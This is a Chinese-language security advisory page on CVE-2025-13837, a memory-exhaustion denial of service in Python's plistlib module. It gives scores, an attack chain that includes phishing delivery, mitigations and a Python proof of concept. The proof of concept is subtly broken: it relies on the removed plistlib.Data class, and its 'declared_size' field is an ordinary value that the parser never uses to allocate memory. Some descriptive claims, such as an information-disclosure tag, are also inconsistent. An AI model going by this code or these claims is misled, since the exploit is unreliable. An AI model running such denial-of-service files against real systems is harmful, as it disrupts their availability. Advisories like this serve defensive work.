IPBUF安全漏洞报告
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CVE-2025-13837 CVSS 5.5 中危

CVE-2025-13837: Python plistlib模块拒绝服务漏洞

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-13837
漏洞类型
拒绝服务/内存耗尽
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Python plistlib

相关标签

Pythonplistlib拒绝服务内存耗尽DoSOOMCVE-2025-13837标准库漏洞本地攻击信息泄露

漏洞概述

CVE-2025-13837是Python标准库中plistlib模块的一个拒绝服务漏洞。该漏洞由于plistlib模块在解析plist文件时,根据文件本身指定的字节大小来分配内存进行数据读取,存在严重的安全隐患。攻击者可以精心构造一个恶意的plist文件,通过在文件中声明一个巨大的数据大小值,诱导plistlib模块分配超出实际需要的内存资源,从而导致目标系统发生内存耗尽(OOM)情况,最终造成拒绝服务(DoS)攻击。此漏洞影响所有使用Python plistlib模块解析不可信来源plist文件的应用程序。由于攻击向量为本地(AV:L)且需要用户交互(UI:R),攻击复杂度相对较高,但仍需引起重视。CVSS评分5.5,属于中等严重程度,主要影响系统的可用性。

技术细节

Python的plistlib模块用于解析和生成Apple的plist格式文件。在解析过程中,模块会根据plist文件中嵌入的size字段来分配内存缓冲区以读取数据。攻击者可以通过构造一个恶意的plist文件,在size字段中指定一个极大的数值(例如数GB的大小),使得plistlib模块在解析时尝试分配巨大的内存空间。当系统无法满足如此大量的内存分配请求时,会触发MemoryError异常,导致应用程序崩溃或系统变得极不稳定。这种攻击方式利用了程序对输入数据信任的特性,属于典型的整数溢出/内存分配漏洞的变体。攻击成功的关键在于:1)目标系统使用存在漏洞的plistlib版本;2)攻击者能够诱使目标用户或系统加载恶意plist文件;3)系统可用内存不足以应对恶意分配请求。修复方案通常是在分配内存前对size值进行合理性校验,设置内存分配上限。

攻击链分析

STEP 1
步骤1
攻击者创建恶意plist文件,在文件中声明一个极大的size值(如数GB),远超实际数据大小
STEP 2
步骤2
攻击者通过社会工程学攻击(如钓鱼邮件、恶意网站下载)或中间人攻击等方式,将恶意plist文件传递给目标用户
STEP 3
步骤3
目标用户或系统上的应用程序使用存在漏洞的plistlib模块打开或解析该恶意plist文件
STEP 4
步骤4
plistlib模块根据文件中的size字段尝试分配相应大小的内存缓冲区,导致系统内存快速耗尽
STEP 5
步骤5
当内存分配失败时,触发MemoryError异常,导致应用程序崩溃或系统变得极不稳定,形成拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13837 PoC - Python plistlib OOM DoS This PoC demonstrates the memory exhaustion vulnerability in Python's plistlib module. """ import plistlib import struct import os def create_malicious_plist(output_path, fake_size=1024*1024*1024): """ Create a malicious plist file that declares an extremely large size, causing plistlib to attempt allocating huge amounts of memory. Args: output_path: Path to save the malicious plist file fake_size: The fake size to declare in the plist (default: 1GB) """ # Create a minimal plist with an oversized data field malicious_data = { 'malicious_payload': plistlib.Data(b'\x00' * min(fake_size, 1024*1024)), # Limit actual data 'declared_size': fake_size # This is what plistlib reads to allocate memory } with open(output_path, 'wb') as f: plistlib.dump(malicious_data, f) print(f'[+] Malicious plist created: {output_path}') print(f'[+] Declared size: {fake_size} bytes ({fake_size/(1024**3):.2f} GB)') def trigger_vulnerability(plist_path): """ Attempt to parse the malicious plist file to trigger OOM. """ print(f'[*] Attempting to parse: {plist_path}') try: with open(plist_path, 'rb') as f: data = plistlib.load(f) print('[!] Parsed successfully - vulnerability may be patched') except MemoryError as e: print(f'[+] MemoryError triggered - vulnerability confirmed: {e}') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') if __name__ == '__main__': import sys # Create malicious plist with 1GB declared size fake_size = int(1024**3) # 1GB output_file = 'malicious.plist' create_malicious_plist(output_file, fake_size) trigger_vulnerability(output_file) # Cleanup if os.path.exists(output_file): os.remove(output_file)

影响范围

Python plistlib < 受影响版本(具体版本需查看官方修复commit)
Python 3.x 系列多个版本存在此漏洞
使用plistlib模块解析不可信plist文件的所有Python应用

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)避免使用Python plistlib模块解析来源不明的plist文件;2)对所有plist文件进行预先安全检查,拒绝size字段异常大的文件;3)限制Python进程的内存使用上限(如使用ulimit或cgroups);4)使用应用程序级沙箱限制plistlib模块的内存分配行为;5)部署Web应用防火墙或入侵检测系统监控异常的文件解析行为;6)加强对用户上传文件的类型和内容验证。

参考链接

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